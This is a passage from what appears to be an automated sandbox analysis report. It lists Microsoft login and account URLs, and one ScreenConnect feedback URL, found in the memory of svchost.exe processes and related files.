Source: svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: ScreenConnect.Core.dll0.1.dr	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000004.00000003.1295464870.0000019A7F000000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live
Source: svchost.exe, 0000000E.00000003.1878648400.000002094F289000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157985888.000002094F21D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502ttps
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600ive.
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601PAdd
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srfP
Source: svchost.exe, 0000000E.00000002.3157985888.000002094F21D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155833011.000002094E49F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157944399.000002094F200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000000E.00000002.3158220210.000002094F299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfA7826
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srfice
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srft
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srfesign
Source: svchost.exe, 0000000E.00000003.1698574319.000002094ED27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698574319.000002094ED27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf:CPAddUserI
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000E.00000003.1698574319.000002094ED27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfps://lo
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srfAuthUp
Source: svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000000E.00000003.1890577139.000002094ED5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3158021813.000002094F268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-DgjCh4qtTQBle0vxnfFIFAM3wJbOOfUHVnXxyEko
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfg:CPCha
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000000E.00000002.3158021813.000002094F24B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698545456.000002094ED6B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf//login.li
Source: svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfssue
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600Issuer
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601Issuer
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000E.00000003.1698295424.000002094ED5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srfom
Source: svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srfce
Source: svchost.exe, 0000000E.00000002.3156571081.000002094E4CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3158220210.000002094F281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000000E.00000002.3158220210.000002094F281000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srfityCRL
Source: svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srfn#
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
